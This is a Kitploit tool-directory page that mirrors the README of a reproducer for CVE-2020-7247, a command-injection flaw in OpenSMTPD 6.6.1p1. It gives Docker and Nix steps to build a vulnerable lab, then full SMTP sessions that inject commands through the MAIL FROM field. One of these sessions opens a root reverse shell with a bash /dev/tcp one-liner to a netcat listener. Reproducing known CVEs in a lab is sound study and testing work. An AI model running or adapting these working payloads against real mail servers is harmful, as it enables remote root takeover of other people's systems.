Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2020-7247-reproducer | Kitploit
Tools/GitHubGitHub/minhluannguyen/cve-2020-7247-reproducer
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubminhluannguyen/cve-2020-7247-reproducer

CVE-2020-7247-reproducer

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
11 year agoNot yet reviewed

CVE-2020-7247 (OpenSMTPD)

Information

This repository contains necessary files to build a Docker image that contains a vulnerable environment of OpenSMTPD (6.6.1p1). The vulnerability allows an attacker to execute arbitrary commands through a specially crafted SMTP session, specifically in the MAIL FROM field.

Usage

  1. Build the Docker image (Debian-based):
root@kitploit:~
docker build -t opensmtpd-vuln -f Dockerfile .
docker run -it --rm --name opensmtpd-vuln-test opensmtpd-vuln /bin/bash
smtpd -dv
  1. Build the Nix image:
root@kitploit:~
nix-build opensmtpd-vuln.nix
docker load < result
docker run -it --rm opensmtpd-vuln-nix /bin/bash
smtpd -dv

Exploit

  1. Exploit the vulnerability:

3.1. Execute arbitrary commands:

root@kitploit:~
$nc 172.17.0.2 25
220 debian ESMTP OpenSMTPD
HELO toto  
250 debian Hello toto [172.17.0.1], pleased to meet you
MAIL FROM:<;touch secret.txt;>
250 2.0.0 Ok
RCPT TO:<[email protected]>
250 2.1.5 Destination address valid: Recipient ok
data
354 Enter mail, end with "." on a line by itself

Hello Bonjour Xin chào
.
250 2.0.0 09cb8342 Message accepted for delivery
QUIT
221 2.0.0 Bye

3.2. Get a reverse shell:

Set up listener:

root@kitploit:~
nc -lnvp 8080

Run the exploit.py script (on another terminal):

root@kitploit:~
python3 exploit.py

Or do it manually:

root@kitploit:~
$nc 172.17.0.2 25
220 debian ESMTP OpenSMTPD
HELO toto  
250 debian Hello toto [172.17.0.1], pleased to meet you
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
250 2.0.0 Ok
RCPT TO:<[email protected]>
250 2.1.5 Destination address valid: Recipient ok
data
354 Enter mail, end with "." on a line by itself

#0
#1
#2
#3
#4
#5
#6
#7
#8
#9
#a
#b
#c
#d
sh -c 'echo "bash -i >& /dev/tcp/172.17.0.1/8080 0>&1" | bash'
.
250 2.0.0 09cb8342 Message accepted for delivery
QUIT
221 2.0.0 Bye

You should now have a shell as root on the host machine.

References

  • OpenSMTPD
  • NVD
Download Tool